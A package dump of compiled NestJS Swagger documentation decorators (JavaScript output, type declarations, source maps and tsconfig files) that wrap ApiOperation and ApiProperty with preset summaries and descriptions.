{"version":3,"file":"api-params.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-params.decorator.ts"],"names":[],"mappings":";;AAEA,oCASC;AAXD,6CAA4D;AAE5D,SAAgB,YAAY,CAC1B,OAAe,MAAM,EACrB,OAAyB;IAEzB,OAAO,IAAA,kBAAQ,EAAC;QACd,IAAI;QACJ,WAAW,EAAE,mCAAmC;QAChD,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC"}
import { ApiOperationOptions } from '@nestjs/swagger';
export interface PatchParameters {
name: string;
}
export declare function ApiPatchOperation(options: PatchParameters & ApiOperationOptions): MethodDecorator;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiPatchOperation = ApiPatchOperation;
const swagger_1 = require("@nestjs/swagger");
const lodash_1 = __importDefault(require("lodash"));
function ApiPatchOperation(options) {
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiOperation)({
summary: `Update the ${options.name}`,
description: `Partially updates the specified ${options.name} by setting the values of the parameters passed. Any parameters not provided will be left unchanged.`,
...opts,
});
}
//# sourceMappingURL=api-patch.decorator.js.map
{"version":3,"file":"api-patch.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-patch.decorator.ts"],"names":[],"mappings":";;;;;AAOA,8CAUC;AAjBD,6CAAoE;AACpE,oDAAuB;AAMvB,SAAgB,iBAAiB,CAC/B,OAA8C;IAE9C,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAEvC,OAAO,IAAA,sBAAY,EAAC;QAClB,OAAO,EAAE,cAAc,OAAO,CAAC,IAAI,EAAE;QACrC,WAAW,EAAE,mCAAmC,OAAO,CAAC,IAAI,sGAAsG;QAClK,GAAG,IAAI;KACR,CAAC,CAAC;AACL,CAAC"}
import { ApiOperationOptions } from '@nestjs/swagger';
export interface PostParameters {
name: string;
description: string;
}
export declare function ApiPostOperation(options: PostParameters & ApiOperationOptions): MethodDecorator;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiPostOperation = ApiPostOperation;
const swagger_1 = require("@nestjs/swagger");
const lodash_1 = __importDefault(require("lodash"));
function ApiPostOperation(options) {
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiOperation)({
summary: `Create the ${options.name}`,
...opts,
});
}
//# sourceMappingURL=api-post.decorator.js.map
{"version":3,"file":"api-post.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-post.decorator.ts"],"names":[],"mappings":";;;;;AAQA,4CASC;AAjBD,6CAAoE;AACpE,oDAAuB;AAOvB,SAAgB,gBAAgB,CAC9B,OAA6C;IAE7C,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAEvC,OAAO,IAAA,sBAAY,EAAC;QAClB,OAAO,EAAE,cAAc,OAAO,CAAC,IAAI,EAAE;QACrC,GAAG,IAAI;KACR,CAAC,CAAC;AACL,CAAC"}
import { ApiOperationOptions } from '@nestjs/swagger';
export interface PutParameters {
name: string;
}
export declare function ApiPutOperation(options: PutParameters & ApiOperationOptions): MethodDecorator;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiPutOperation = ApiPutOperation;
const swagger_1 = require("@nestjs/swagger");
const lodash_1 = __importDefault(require("lodash"));
function ApiPutOperation(options) {
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiOperation)({
summary: `Update the ${options.name}`,
description: `Updates the specified ${options.name} by setting the values of the parameters passed. Any parameters not provided will be left unchanged.`,
...opts,
});
}
//# sourceMappingURL=api-put.decorator.js.map
{"version":3,"file":"api-put.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-put.decorator.ts"],"names":[],"mappings":";;;;;AAOA,0CAUC;AAjBD,6CAAoE;AACpE,oDAAuB;AAMvB,SAAgB,eAAe,CAC7B,OAA4C;IAE5C,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAEvC,OAAO,IAAA,sBAAY,EAAC;QAClB,OAAO,EAAE,cAAc,OAAO,CAAC,IAAI,EAAE;QACrC,WAAW,EAAE,yBAAyB,OAAO,CAAC,IAAI,sGAAsG;QACxJ,GAAG,IAAI;KACR,CAAC,CAAC;AACL,CAAC"}
export declare function ApiMultipartRequest(): MethodDecorator & ClassDecorator;
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiMultipartRequest = ApiMultipartRequest;
const swagger_1 = require("@nestjs/swagger");
function ApiMultipartRequest() {
return (0, swagger_1.ApiConsumes)('multipart/form-data');
}
//# sourceMappingURL=api-request.decorator.js.map
{"version":3,"file":"api-request.decorator.js","sourceRoot":"","sources":["../../lib/decorators/api-request.decorator.ts"],"names":[],"mappings":";;AAEA,kDAEC;AAJD,6CAA8C;AAE9C,SAAgB,mBAAmB;IACjC,OAAO,IAAA,qBAAW,EAAC,qBAAqB,CAAC,CAAC;AAC5C,CAAC"}
export * from './api-delete.decorator';
export * from './api-get.decorator';
export * from './api-headers.decorator';
export * from './api-params.decorator';
export * from './api-patch.decorator';
export * from './api-post.decorator';
export * from './api-put.decorator';
export * from './property.decorator';
export * from './api-request.decorator';
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./api-delete.decorator"), exports);
__exportStar(require("./api-get.decorator"), exports);
__exportStar(require("./api-headers.decorator"), exports);
__exportStar(require("./api-params.decorator"), exports);
__exportStar(require("./api-patch.decorator"), exports);
__exportStar(require("./api-post.decorator"), exports);
__exportStar(require("./api-put.decorator"), exports);
__exportStar(require("./property.decorator"), exports);
__exportStar(require("./api-request.decorator"), exports);
//# sourceMappingURL=index.js.map
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../lib/decorators/index.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;AAAA,yDAAuC;AACvC,sDAAoC;AACpC,0DAAwC;AACxC,yDAAuC;AACvC,wDAAsC;AACtC,uDAAqC;AACrC,sDAAoC;AACpC,uDAAqC;AACrC,0DAAwC"}
import { Type } from '@nestjs/common';
import { ApiPropertyOptions } from '@nestjs/swagger';
export interface PropertyParameter {
objectName?: string;
example?: any;
}
export declare function ApiCodeProperty(options?: PropertyParameter & ApiPropertyOptions): PropertyDecorator;
export declare function ApiSlugProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiIdProperty(options?: PropertyParameter & ApiPropertyOptions): PropertyDecorator;
export declare function ApiCreatedAtProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiUpdatedAtProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiCreatedByProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiUpdatedByProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiObjectResponseProperty(name: string, options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiListResponseProperty(name: string, type?: Type<unknown> | Function | [Function] | string | Record<string, any>, options?: PropertyParameter): PropertyDecorator;
export declare function ApiNextPageTokenProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiItemsPerPageProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiTotalItemsProperty(options?: ApiPropertyOptions): PropertyDecorator;
export declare function ApiErnProperty(options?: ApiPropertyOptions): PropertyDecorator;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ApiCodeProperty = ApiCodeProperty;
exports.ApiSlugProperty = ApiSlugProperty;
exports.ApiIdProperty = ApiIdProperty;
exports.ApiCreatedAtProperty = ApiCreatedAtProperty;
exports.ApiUpdatedAtProperty = ApiUpdatedAtProperty;
exports.ApiCreatedByProperty = ApiCreatedByProperty;
exports.ApiUpdatedByProperty = ApiUpdatedByProperty;
exports.ApiObjectResponseProperty = ApiObjectResponseProperty;
exports.ApiListResponseProperty = ApiListResponseProperty;
exports.ApiNextPageTokenProperty = ApiNextPageTokenProperty;
exports.ApiItemsPerPageProperty = ApiItemsPerPageProperty;
exports.ApiTotalItemsProperty = ApiTotalItemsProperty;
exports.ApiErnProperty = ApiErnProperty;
const swagger_1 = require("@nestjs/swagger");
const lodash_1 = __importDefault(require("lodash"));
const constants_1 = require("../constants/constants");
function ApiCodeProperty(options) {
const opts = lodash_1.default.omit(options, ['objectName']);
if (options?.objectName) {
return (0, swagger_1.ApiProperty)({
description: `Unique identifier of the ${options.objectName} that this object belongs to.`,
...opts,
});
}
return (0, swagger_1.ApiProperty)({
description: 'Unique identifier for the object.',
...options,
});
}
function ApiSlugProperty(options) {
return (0, swagger_1.ApiProperty)({
description: `A slug is a human-readable, unique identifier, used to identify a resource
instead of a less human-readable identifier like an id.`,
...options,
});
}
function ApiIdProperty(options) {
const opts = lodash_1.default.omit(options, ['objectName']);
if (options?.objectName) {
return (0, swagger_1.ApiProperty)({
type: 'number',
example: 1,
description: `Unique identifier referencing the ${options.objectName}.`,
...opts,
});
}
return (0, swagger_1.ApiProperty)({
example: 4,
type: 'number',
description: 'Internal unique identifier for the object. You should not have to use this, use code instead.',
...options,
});
}
function ApiCreatedAtProperty(options) {
return (0, swagger_1.ApiProperty)({
example: constants_1.createdAt,
description: 'Time at which the object was created.',
...options,
});
}
function ApiUpdatedAtProperty(options) {
return (0, swagger_1.ApiProperty)({
example: constants_1.updatedAt,
description: 'Time at which the object was updated.',
...options,
});
}
function ApiCreatedByProperty(options) {
return (0, swagger_1.ApiProperty)({
example: constants_1.sub,
description: 'Identifier of the user who created the record.',
...options,
});
}
function ApiUpdatedByProperty(options) {
return (0, swagger_1.ApiProperty)({
example: constants_1.sub,
description: 'Identifier of the user who last updated the record.',
...options,
});
}
function ApiObjectResponseProperty(name, options) {
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiProperty)({
description: `The ${name} response.`,
...opts,
});
}
function ApiListResponseProperty(name, type, options) {
const opts = lodash_1.default.omit(options, ['name']);
return (0, swagger_1.ApiProperty)({
description: `The list of ${name}s.`,
type,
...opts,
});
}
function ApiNextPageTokenProperty(options) {
return (0, swagger_1.ApiProperty)({
example: '2',
description: 'Next page token.',
...options,
});
}
function ApiItemsPerPageProperty(options) {
return (0, swagger_1.ApiProperty)({
example: 5,
description: 'Items per page.',
...options,
});
}
function ApiTotalItemsProperty(options) {
return (0, swagger_1.ApiProperty)({
example: 10,
description: 'Total amount of items.',
...options,
});
}
function ApiErnProperty(options) {
return (0, swagger_1.ApiProperty)({
example: constants_1.apiSamples.lead.ern,
description: constants_1.apiDescriptions.ern,
...options,
});
}
//# sourceMappingURL=property.decorator.js.map
{"version":3,"file":"property.decorator.js","sourceRoot":"","sources":["../../lib/decorators/property.decorator.ts"],"names":[],"mappings":";;;;;AAiBA,0CAeC;AAED,0CAQC;AAED,sCAoBC;AAED,oDAQC;AAED,oDAQC;AAED,oDAQC;AAED,oDAQC;AAED,8DAUC;AACD,0DAaC;AAED,4DAQC;AAED,0DAQC;AAED,sDAQC;AAED,wCAQC;AAzKD,6CAAkE;AAClE,oDAAuB;AACvB,sDAMgC;AAQhC,SAAgB,eAAe,CAC7B,OAAgD;IAEhD,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,YAAY,CAAC,CAAC,CAAC;IAE7C,IAAI,OAAO,EAAE,UAAU,EAAE,CAAC;QACxB,OAAO,IAAA,qBAAW,EAAC;YACjB,WAAW,EAAE,4BAA4B,OAAO,CAAC,UAAU,+BAA+B;YAC1F,GAAG,IAAI;SACR,CAAC,CAAC;IACL,CAAC;IACD,OAAO,IAAA,qBAAW,EAAC;QACjB,WAAW,EAAE,mCAAmC;QAChD,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,eAAe,CAC7B,OAA4B;IAE5B,OAAO,IAAA,qBAAW,EAAC;QACjB,WAAW,EAAE;4DAC2C;QACxD,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,aAAa,CAC3B,OAAgD;IAEhD,MAAM,IAAI,GAAG,gBAAC,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC,YAAY,CAAC,CAAC,CAAC;IAE7C,IAAI,OAAO,EAAE,UAAU,EAAE,CAAC;QACxB,OAAO,IAAA,qBAAW,EAAC;YACjB,IAAI,EAAE,QAAQ;YACd,OAAO,EAAE,CAAC;YACV,WAAW,EAAE,qCAAqC,OAAO,CAAC,UAAU,GAAG;YACvE,GAAG,IAAI;SACR,CAAC,CAAC;IACL,CAAC;IACD,OAAO,IAAA,qBAAW,EAAC;QACjB,OAAO,EAAE,CAAC;QACV,IAAI,EAAE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AAI;KACR,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,wBAAwB,CACtC,OAA4B;IAE5B,OAAO,IAAA,qBAAW,EAAC;QACjB,OAAO,EAAE,GAAG;QACZ,WAAW,EAAE,kBAAkB;QAC/B,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,uBAAuB,CACrC,OAA4B;IAE5B,OAAO,IAAA,qBAAW,EAAC;QACjB,OAAO,EAAE,CAAC;QACV,WAAW,EAAE,iBAAiB;QAC9B,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,qBAAqB,CACnC,OAA4B;IAE5B,OAAO,IAAA,qBAAW,EAAC;QACjB,OAAO,EAAE,EAAE;QACX,WAAW,EAAE,wBAAwB;QACrC,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,cAAc,CAC5B,OAA4B;IAE5B,OAAO,IAAA,qBAAW,EAAC;QACjB,OAAO,EAAE,sBAAU,CAAC,IAAI,CAAC,GAAG;QAC5B,WAAW,EAAE,2BAAe,CAAC,GAAG;QAChC,GAAG,OAAO;KACX,CAAC,CAAC;AACL,CAAC"}
export * from './decorators';
export * from './constants';
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./decorators"), exports);
__exportStar(require("./constants"), exports);
//# sourceMappingURL=index.js.map
{"version":3,"file":"index.js","sourceRoot":"","sources":["../lib/index.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;AAAA,+CAA6B;AAC7B,8CAA4B"}

Sorry, the diff of this file is not supported yet

// {
// "compilerOptions": {
// "target": "es2020",
// "module": "commonjs",
// "removeComments": true,
// "declaration": true,
// "outDir": "./dist",
// "strict": true,
// "emitDecoratorMetadata": true,
// "experimentalDecorators": true,
// "esModuleInterop": true
// },
// "exclude": ["node_modules", "dist"]
// }
{
"compilerOptions": {
"module": "commonjs",
"declaration": true,
"allowJs": true,
"removeComments": true,
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
"allowSyntheticDefaultImports": true,
"target": "es2020",
"sourceMap": true,
"outDir": "./dist",
"baseUrl": "./",
"incremental": true,
"skipLibCheck": true,
"strictNullChecks": false,
"noImplicitAny": false,
"strictBindCallApply": false,
"forceConsistentCasingInFileNames": false,
"noFallthroughCasesInSwitch": false,
"esModuleInterop": true
},
"exclude": ["node_modules", "dist"]
}